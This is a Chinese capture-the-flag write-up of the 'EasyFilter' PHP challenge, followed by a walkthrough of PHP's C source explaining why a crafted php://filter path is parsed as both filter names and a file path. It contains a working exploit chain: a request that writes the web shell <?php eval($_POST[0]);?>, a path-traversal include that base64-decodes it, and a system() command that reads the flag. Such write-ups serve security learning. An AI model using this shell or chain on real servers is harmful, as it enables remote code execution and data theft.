第四届强网拟态 EasyFilter
前言
当时比赛没报名,借了个号上去瞅了一眼题目,看到这个PHP代码审计比较亲切就做了这一题,当时也是通过报错大胆尝试成功试了出来解法。
赛后花爷拿着我的wp去了p神的知识星球问了一下原理,P神给了个解答,但是自己还没有看过PHP的C代码所以很难理解(实际上都一年没有碰过C语言了)。恰好打算把最近的事情忙完就去学学PHP的底层,过了这么些天,昨天弄好了vscode调试PHP的C代码的环境,今天仔细研究了一下终于有点懂了,而且第一次看PHP的底层C,感觉学到了好多的东西。
做题时候写的WP
<?phpini_set("open_basedir","./");if(!isset($_GET['action'])){highlight_file(__FILE__);die();}if($_GET['action'] == 'w'){@mkdir("./files/");$content = $_GET['c'];$file = bin2hex(random_bytes(5));file_put_contents("./files/".$file,base64_encode($content));echo "./files/".$file;}elseif($_GET['action'] == 'r'){$r = $_GET['r'];$file = "./files/".$r;include("php://filter/resource=$file");}
在最后一行代码那里正常包含文件?action=r&r=d0165506bd
,发现有这些warning:
发现这么一行很奇妙的warning:
Warning: include(): unable to locate filter "d0165506bd" in /var/www/html/index.php on line 16
传过去的不是文件名吗,怎么被当成过滤器了???
但是能成功包含出内容,所以这是又被当成过滤器又被当成文件了?那尝试路径穿越写马:
http://124.70.181.14:32766/?action=w&c=<?php eval($_POST[0]);?>http://124.70.181.14:32766/?action=r&r=convert.base64-decode/../d0165506bd0=system('cat /fl*');
成功getshell。
原理分析
至于为什么是这样的,拿vscode调试一下底层的C就知道了。
<?php
include("php://filter/resource=./read=convert.base64-decode/../test.php");
入口点是php-src-PHP-7.2\ext\standard\php_fopen_wrapper.c
的php_stream_url_wrap_php()
函数,放出关键代码:
php_stream * php_stream_url_wrap_php(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,zend_string **opened_path, php_stream_context *context STREAMS_DC) /* {{{ */
{int fd = -1;int mode_rw = 0;php_stream * stream = NULL;char *p, *token, *pathdup;zend_long max_memory;FILE *file = NULL;
#ifdef PHP_WIN32int pipe_requested = 0;
#endifif (!strncasecmp(path, "php://", 6)) {path += 6;}.......} else if (!strncasecmp(path, "filter/", 7)) {/* Save time/memory when chain isn't specified */if (strchr(mode, 'r') || strchr(mode, '+')) {mode_rw |= PHP_STREAM_FILTER_READ;}if (strchr(mode, 'w') || strchr(mode, '+') || strchr(mode, 'a')) {mode_rw |= PHP_STREAM_FILTER_WRITE;}pathdup = estrndup(path + 6, strlen(path + 6));p = strstr(pathdup, "/resource=");if (!p) {zend_throw_error(NULL, "No URL resource specified");efree(pathdup);return NULL;} if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) {efree(pathdup);return NULL;}*p = '\0';p = php_strtok_r(pathdup + 1, "/", &token);while (p) {if (!strncasecmp(p, "read=", 5)) {php_stream_apply_filter_list(stream, p + 5, 1, 0);} else if (!strncasecmp(p, "write=", 6)) {php_stream_apply_filter_list(stream, p + 6, 0, 1);} else {php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE);}p = php_strtok_r(NULL, "/", &token);}efree(pathdup);return stream;} else {/* invalid php://thingy */php_error_docref(NULL, E_WARNING, "Invalid php:// URL specified");return NULL;}/* must be stdin, stderr or stdout */if (fd == -1) {/* failed to dup */return NULL;}#if defined(S_IFSOCK) && !defined(WIN32) && !defined(__BEOS__)do {zend_stat_t st;memset(&st, 0, sizeof(st));if (zend_fstat(fd, &st) == 0 && (st.st_mode & S_IFMT) == S_IFSOCK) {stream = php_stream_sock_open_from_socket(fd, NULL);if (stream) {stream->ops = &php_stream_socket_ops;return stream;}}} while (0);
#endifif (file) {stream = php_stream_fopen_from_file(file, mode);} else {stream = php_stream_fopen_from_fd(fd, mode, NULL);if (stream == NULL) {close(fd);}}#ifdef PHP_WIN32if (pipe_requested && stream && context) {zval *blocking_pipes = php_stream_context_get_option(context, "pipe", "blocking");if (blocking_pipes) {convert_to_long(blocking_pipes);php_stream_set_option(stream, PHP_STREAM_OPTION_PIPE_BLOCKING, Z_LVAL_P(blocking_pipes), NULL);}}
#endifreturn stream;
}
path
是0x00000230d1a80218 "php://filter/resource=./read=convert.base64-decode/../test.php"
,接着就是一些分割了,先判断出来是以php://
开头,然后指针向前移动6个单位,path是filter/resource=./read=convert.base64-decode/../test.php
接着又是一堆的判断,进入以filter开头的if,include
的mode
是rb
,所以接下来默认的mode
也是读(也就是为什么如果忽略read,默认也是read流的原因)。
接下来就有几个关键的变量需要注意到了,pathdup
,p
,token
。
首先pathdup
通过estrndup()
创建:
pathdup = estrndup(path + 6, strlen(path + 6));
//estrndup
//分配len+1个字节的内存并且从ptr处复制len个字节到最新分配的块
得到的pathdup为/resource=./read=convert.base64-decode/../test.php
,也就是说,pathdup是filter
后面的整个字符串。
而p这样得到:
p = strstr(pathdup, "/resource=");
p是pathdup中从/resource=
开始的字符串,在这里也是/resource=./read=convert.base64-decode/../test.php
。
接着这一步不用太具体了解,只需要大致看看代码就可以知道,PHP的底层C语言中,取filter后面的整个字符串中的/resource=
后面的那所有的部分,作为输入流的路径:
if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) {efree(pathdup);return NULL;}
也就是说,取的输入流的路径是./read=convert.base64-decode/../test.php
也就为什么可以读到test.php
,因为用的相对路径,然后进行了路径穿越,成功穿回了当前路径,得到test.php的流。
接下来的处理就很关键了:
*p = '\0';p = php_strtok_r(pathdup + 1, "/", &token);while (p) {if (!strncasecmp(p, "read=", 5)) {php_stream_apply_filter_list(stream, p + 5, 1, 0);} else if (!strncasecmp(p, "write=", 6)) {php_stream_apply_filter_list(stream, p + 6, 0, 1);} else {php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE);}p = php_strtok_r(NULL, "/", &token);}
注意到是*p
,也就是让p指针指向的位置为\0
,因为C语言中字符串都是以\0
结尾的。
问题就是出在这一步上,之所以会有这一步,需要联想一下正常的处理:
include("php://filter/convert.base64-decode/resource=test.php");
都是先过滤器,/resource=
写在最后面。正常的时候,pathdup应该是/convert.base64-decode/resource=test.php
,而p
应该是/resource=test.php
,这时候让p为\0
,相当于pathdup变成了/convert.base64-decode\0resource=test.php
,这样pathdup
就被截断了,字符串变成了/convert.base64-decode
,这样接下来就是对过滤器进行处理了,不再碰到/resource=test.php
。
(因为之前用的是p = strstr(pathdup, "/resource=");
,所以p的指针是在pathdup指向的指针的后面的/resource=的那个位置的指针)
而在目前我们分析的这个不正常的情况中,pathdup和p都是/resource=./read=convert.base64-decode/../test.php
,这样处理之后导致pathdup和p都是空字符串,而pathdup后面的部分并没有被分割。
然后就是这一步:
p = php_strtok_r(pathdup + 1, "/", &token);
注意到是pathdup+1
,也就是resource=./read=convert.base64-decode/../test.php
,所以*p = '\0';
这一步的处理没有起到作用。
而php_strtok_r()
函数的作用我理解起来就是,用第二个参数对第一个参数这个字符串进行分割,返回结果是分割后的第一部分,token得到的是分割后剩下部分。
比如231/123213/123123/1312
,经过一次php_strtok_r
,返回值为231
,token
是123213/123123/1312
。如果第一个参数为Null的话则对第三个参数进行处理。
所以这里的p是resource=.
,token是read=convert.base64-decode/../test.php
。
然后进入while
循环,以此以/
作为分隔符来得到过滤器,如果得到的p以read=或者write=开头,那就取=之后的那部分作为过滤器然后让这个过滤器处理的mode为r或者w。如果没有的话,则用默认的mode。
跟进php_stream_apply_filter_list()
稍微看一下:
static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */
{char *p, *token = NULL;php_stream_filter *temp_filter;p = php_strtok_r(filterlist, "|", &token);while (p) {php_url_decode(p, strlen(p));if (read_chain) {if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {php_stream_filter_append(&stream->readfilters, temp_filter);} else {php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);}}if (write_chain) {if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {php_stream_filter_append(&stream->writefilters, temp_filter);} else {php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);}}p = php_strtok_r(NULL, "|", &token);}
}
传入的p
就是filterlist
了。首先是p = php_strtok_r(filterlist, "|", &token);
,对过滤器拿|
进行分割,处理方式同/
分割一样,这也就是|
分割各种过滤器的来源。
然后这么一步:
php_url_decode(p, strlen(p));
进行url解码,也就是wmctf2020当时的一个考点了,来源就在这里。
之后就是判断读还是写,进入对应的if,通过p来创建相应的过滤器,然后把过滤器添加到stream->readfilters
中。
php_stream_filter_create
创建的过程中还会去定位过滤器,如果找不到就抛出unalbe locate
的warning。创建失败还会抛出unalbe create
的warning。
这样整个流程分析过来也就差不多了,接下来说白了就是对resource=./read=convert.base64-decode/../test.php
,一次拿/
作为分割然后作为过滤器进行处理,依次是:
resource=.
read=convert.base64-decode
..
test.php
所以会抛出这些warning:
Warning: include(): unable to locate filter "resource=." in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): Unable to create filter (resource=.) in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): unable to locate filter ".." in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): Unable to create filter (..) in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): unable to locate filter "test.php" in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): Unable to create filter (test.php) in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2
之后就是返回这个stream
,然后对这个流拿得到的过滤器进行处理了。至此整个流程就理清了。原来是这样!
总结
第一次调试PHP的底层C代码,学习到了很多的东西!
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- 【百度AI-Studio】强化学习训练营——PaddlePaddle(自学笔记)
强化学习训练营入口链接 GYM官网 PARL代码链接 目录一、第一课强化学习(RL)初印象1. 什么是强化学习2. 强化学习的应用3. 强化学习与其他机器学习的关系4. Agent学习的两种方案5. RL的分类6. 算法库&框架库(1) RL编程实践:GYM(…...
2024/3/6 10:01:58 - Python frozenset() 函数的使用与作用
作用 为什么需要冻结的集合(即不可变的集合)呢? 因为在集合的关系中,有集合的中的元素是另一个集合的情况,但是普通集合(set)本身是可变的,那么它的实例就不能放在另一个集合中&am…...
2024/3/6 10:01:58 - 2021-2027中国土方产品市场现状及未来发展趋势
【报告篇幅】:108 【报告图表数】:135 【报告出版时间】:2021年10月 【报告出版机构】:恒州博智(QYR)机械及设备研究中心 报告摘要 2020年中国土方产品市场规模达到了 亿元,预计2027年将达到 亿元,未来…...
2024/3/6 10:01:55 - Typecho获取当前页面的加载完成速度时间
判断当前页面加载是否快,通常是直接在浏览器中访问网站,看自己的直观感受是否快。客观的方法是计算具体的页面加载时间并显示出来。 操作 1.将以下代码添加到当前主题的functions.php文件中: function timer_start() {global $timestart;$mtime explod…...
2024/3/6 10:01:54 - 系统提权之:Windows 提权
郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。 Windows 提权…...
2024/3/25 2:30:50 - 148. 排序链表
题目 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/sort-list 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。 给你链表的头结点 head ,请将其按 升序 排列并返回 …...
2024/3/4 15:11:45 - 2021-2027中国商用车轮胎帘线和织物市场现状及未来发展趋势
【报告篇幅】:140 【报告图表数】:172 【报告出版时间】:2021年10月 【报告出版机构】:恒州博智(QYR)化工及材料研究中心 报告摘要 2020年中国商用车轮胎帘线和织物市场规模达到了 亿元,预计2027年可以达到 亿元&am…...
2024/3/4 15:11:45 - 2021-2027全球与中国牛肉罐头市场现状及未来发展趋势
2021-2027全球与中国牛肉罐头市场现状及未来发展趋势 本报告研究全球与中国市场牛肉罐头的产能、产量、销量、销售额、价格及未来趋势。重点分析全球与中国市场的主要厂商产品特点、产品规格、价格、销量、销售收入及全球和中国市场主要生产商的市场份额。历史数据为2016至2020…...
2024/3/4 15:11:43 - SDCC和Keil之stc89c52资料(纪念51单片机40周年)
使用Linux环境进行单片机教学已经3年了,反馈一般,部分学生给出差评,也在情理之中。 为何选择SDCC,一开始就明确说明了,不是keil不好,但是很贵啊,课程尊重知识产权,不鼓励x行为。 关…...
2024/3/6 10:01:53 - Fastdfs搭建及springboot集成封装
背景:有机会从0-1架构设计智慧消防领域的解决方案项目,涉及到文件的存储,果断放弃了传统的服务器直接文件存储和ftp存储,选择使用国内比较热的fastdfs,新的项目肯定选择使用最新的版本V6.07,记录下Fastdfs的…...
2024/3/8 12:56:21 - 高年薪的Web前端工程师经常思考哪些问题?
为什么同样从事Web前端开发工作,有的人能拿到较高的薪资,而有的人却只能达到行业平均水平。优秀的Web前端工程师除了技术更高超之外,他们在思考问题上也更全面,那么想要成为一名高年薪的Web前端工程师需要经常思考哪些问题。下面&…...
2024/3/6 10:01:52 - python之按照excel某列字段将一个文件拆分成多个文件。
需求描述:将一个excel文件按照某一列字段拆分成多个文件。比如将图一表格按照专业拆分成人力资源管理、会计、市场营销3个文件,并以专业名称命名文件名。效果见图二。 功能实现:主要利用groupby函数。 图一: 图二: #…...
2024/3/29 0:03:57 - SpringMVC拦截器
SpringMVC拦截器 拦截器介绍 Spring MVC提供的拦截器就类似于Servlet-api中的过滤器,可以对控制器的请求拦截实现相关的预处理和后处理。 过滤器 基于Servlet-api的实现,是Servlet规范的一部分,所有的web项目都可以使用在web.xml配置&#x…...
2024/3/6 10:01:50 - 2021-2027全球与中国目录软件市场现状及未来发展趋势
2021-2027全球与中国目录软件市场现状及未来发展趋势 本文重点分析在全球及中国有重要角色的企业,分析这些企业目录软件产品的市场规模、市场份额、市场定位、产品类型以及发展规划等。 主要企业包括: Brilliant Directories CridioStudio e…...
2024/3/6 10:01:48 - 2021-2027中国汽车轮胎帘线和织物市场现状及未来发展趋势
【报告篇幅】:141 【报告图表数】:172 【报告出版时间】:2021年10月 【报告出版机构】:恒州博智(QYR)化工及材料研究中心 报告摘要 2020年中国汽车轮胎帘线和织物市场规模达到了 亿元,预计2027年可以达到 亿元&…...
2024/3/6 10:01:47 - HTML5期末大作业:影视电影网站设计—— 迪士尼影视电影(6页) HTML+CSS+JavaScript 网页设计期末课程大作业 web前端开发技术 web课程设计 网页规划与设计
HTML5期末大作业:影视电影网站设计—— 迪士尼影视电影(6页) HTMLCSSJavaScript 网页设计期末课程大作业 web前端开发技术 web课程设计 网页规划与设计 常见网页设计作业题材有 个人、 美食、 公司、 学校、 旅游、 电商、 宠物、 电器、 茶叶、 家居、 酒店、 舞蹈…...
2024/3/8 3:37:09 - 算法图解 PDF 原文内容分享
本书示例丰富,图文并茂,以让人容易理解的方式阐释了算法,旨在帮助程序员在日常项目中更好地发挥算法的能量。书中的前三章将帮助你打下基础,带你学习二分查找、大O表示法、两种基本的数据结构以及递归等。余下的篇幅将主要介绍应用…...
2024/3/6 10:01:45 - Learun FrameWork 强大工作流引擎,让OA更智能
互联网的发展促使企业在信息化的道路上不断探索,而随着企业信息化进程的不断深入,OA协同办公的概念也逐步进入大众的视野。OA的选型关乎企业的生存发展,除了需要重视“OA技术、OA品牌、OA产品、OA服务”四大要素之外,更重要的其实是让OA变得智能化的工作流引擎。毫不夸张的…...
2024/3/6 10:01:44 - 2021-2027中国商用车轮胎金属帘线市场现状及未来发展趋势
【报告篇幅】:125 【报告图表数】:170 【报告出版时间】:2021年10月 【报告出版机构】:恒州博智(QYR)化工及材料研究中心 报告摘要 2020年中国商用车轮胎金属帘线市场规模达到了 亿元,预计2027年可以达到 亿元&…...
2024/3/6 10:01:44 - EditableProTable组件的使用
代码样例 import { EditableProTable } from ant-design/pro-table; export default () > {const [position, setPosition] useState(bottom);const TagList ({ value, onChange }) > {const ref useRef(null);const [newTags, setNewTags] useState([]);const [inp…...
2024/3/14 2:15:34
最新文章
- PowerBI和Tableau之间该怎么选择?
最近经常看到朋友询问,最近想学习数据分析工具,但是PowerBI和Tableau之间不知道怎么选择? 其实可以从下面几个方面进行参考,Power BI和Tableau哪个更适合你? 共同点: Power BI和Tableau都是强大的数据分析和数据可…...
2024/3/29 13:57:19 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/3/20 10:50:27 - 编译执行篇
文章目录 11.1 compile()11.2 eval()11.3 exec()11.4 repr() 11.1 compile() 在Python中,compile()是一个内置函数,用于将字符串编译成字节码或AST(抽象语法树)对象,以便稍后被exec()或eval()函数执行。这对于执行动态…...
2024/3/29 11:35:17 - wordpress给指定ID分类添加特定的字段
要在WordPress中为不同的分类添加特定的字段,您可以使用自定义字段(Custom Fields)功能。以下是一种方法,通过编写自定义的函数来实现。 首先,您需要创建一个自定义的函数来添加特定的字段。您可以在WordPress主题的f…...
2024/3/27 20:39:55 - 【外汇早评】美通胀数据走低,美元调整
原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...
2024/3/27 10:21:24 - 【原油贵金属周评】原油多头拥挤,价格调整
原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...
2024/3/24 20:11:25 - 【外汇周评】靓丽非农不及疲软通胀影响
原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...
2024/3/29 2:45:46 - 【原油贵金属早评】库存继续增加,油价收跌
原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...
2024/3/24 20:11:23 - 【外汇早评】日本央行会议纪要不改日元强势
原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...
2024/3/29 5:19:52 - 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响
原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...
2024/3/28 17:01:12 - 【外汇早评】美欲与伊朗重谈协议
原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...
2024/3/29 11:11:56 - 【原油贵金属早评】波动率飙升,市场情绪动荡
原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...
2024/3/29 1:13:26 - 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试
原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...
2024/3/29 8:28:16 - 【原油贵金属早评】市场情绪继续恶化,黄金上破
原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...
2024/3/29 7:41:19 - 【外汇早评】美伊僵持,风险情绪继续升温
原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...
2024/3/24 20:11:18 - 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势
原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...
2024/3/29 9:57:23 - 氧生福地 玩美北湖(上)——为时光守候两千年
原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...
2024/3/29 0:49:46 - 氧生福地 玩美北湖(中)——永春梯田里的美与鲜
原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...
2024/3/24 20:11:15 - 氧生福地 玩美北湖(下)——奔跑吧骚年!
原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...
2024/3/27 7:12:50 - 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!
原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...
2024/3/24 20:11:13 - 「发现」铁皮石斛仙草之神奇功效用于医用面膜
原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...
2024/3/26 11:21:23 - 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者
原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...
2024/3/28 18:26:34 - 广州械字号面膜生产厂家OEM/ODM4项须知!
原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...
2024/3/28 12:42:28 - 械字号医用眼膜缓解用眼过度到底有无作用?
原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...
2024/3/28 20:09:10 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
